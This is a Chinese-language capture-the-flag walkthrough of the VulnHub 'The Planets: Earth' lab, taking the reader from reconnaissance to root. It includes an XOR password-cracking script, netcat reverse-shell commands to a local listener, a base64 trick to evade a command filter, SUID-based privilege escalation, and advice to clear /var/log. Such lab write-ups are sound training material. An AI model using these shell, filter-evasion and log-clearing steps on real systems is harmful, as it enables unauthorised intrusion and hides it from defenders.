靶机地址:The Planets: Earth ~ VulnHub
渗透过程:
首先查看靶机描述,需要获取2个flag
老样子,确定靶机ip,具体的就不详细写了,看图即可
探测靶机开放端口
如果不进行dns绑定,就会出现下面的错误
将它要求的,域名和ip进行绑定
之后访问域名,就可到达主页
主页上,有输入框 ,底下应该是被加密的字符串,先暂且不管它
再没有其他信息,进行目录爆破,发现了/admin/login
对另外一个目录爆破,发现了/robots.txt
访问后发现了个奇怪的目录,后面是.*
尝试给它加txt后缀,发现了文档
该文档告知我们用户名是terra,采用异或加密,testdata.txt是用来加密的。访问它,是一段字符串
随后,对登录框进行访问
既然已经说的那么明显了,主页上最后一行很长的字符串就应该是最后加密出来的密文,那就写一段破解脚本,脚本如下:
# _*_ coding: utf-8 _*_
"""
Time: 2023/4/20 13:32
Author: Ays.Ie
"""
import binascii
str = '2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a'
pass_str = "According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago."
#pass_str转换为16进制
pass_str_hex = binascii.b2a_hex(pass_str.encode(encoding="utf-8")).decode('utf-8').replace("b'",'')
#进行xor运算
res = hex(int(str, 16)^int(pass_str_hex, 16)).replace('0x', '')
#将结果转换成字符串
res_txt = binascii.unhexlify(res).decode('utf-8')
print(res_txt)
运行出来,发现了都是重复的,那应该密码就是框起来的
用户名:terra 密码:earthclimatechangebad4humans
尝试登陆后,登陆成功,出现了一个命令执行框
尝试id,给出了当前id为apache
下一步,找flag文件,输入
find / -name "*flag*"
发现了flag.txt文件,查看后得到了user_flag
[user_flag_3353b67d6437f07ba7d34afd7d2fc27d]
下一步,提权至root,获取root_flag,命令行输入下面的命令,查询suid的程序
find / -perm -4000 2>/dev/null
发现存在一个reser_root的二进制执行文件,利用命令框执行,执行失败
那就先反弹shell吧,在本地开启监听,反弹shell
nc -e /bin/bash 192.168.56.104 8800
被禁用了!!!!没办法了吗?
利用base64绕过,尝试下
echo 'nc -e /bin/bash 192.168.56.104 8800' | base64
bmMgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguNTYuMTA0IDg4MDAK
echo bmMgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguNTYuMTA0IDg4MDAK |base64 -d|bash
python生成一个交互式shell
利用nc将这个文件传到本地kali上进行分析
利用strace 对其进行分析后发现,缺少了这三个文件。
在shell中进入相应的目录,确实没有相关的文件,那就直接给创建上就行了
创建完后,再运行这个二进制执行程序,它将root的密码初始为Earth了,直接切换root用户即可提权
最后获取root_flag!
[root_flag_b0da9554d29db2117b02aa8b66ec492e]
渗透结束!
总结:
最后总结下思路:
1、确定靶机ip、收集靶机开放端口、根据信息,进行ip和域名的绑定
2、访问页面,对页面进行收集,主要是查看有什么功能
3、对页面进行目录爆破,发现后台路径,隐藏文件
4、根据相关文件,进一步获取用户名和密码
5、编写脚本破译密码
6、利用命令执行,找寻flag、反弹shell,如果被拦截,可以利用其他方式绕过,例如base64、编码等
7、找寻具有suid的执行文件,提权
8、提权失败、strace分析文件,满足文件需求,再次执行
9、提权成功,获取flag
10、清理痕迹,/var/log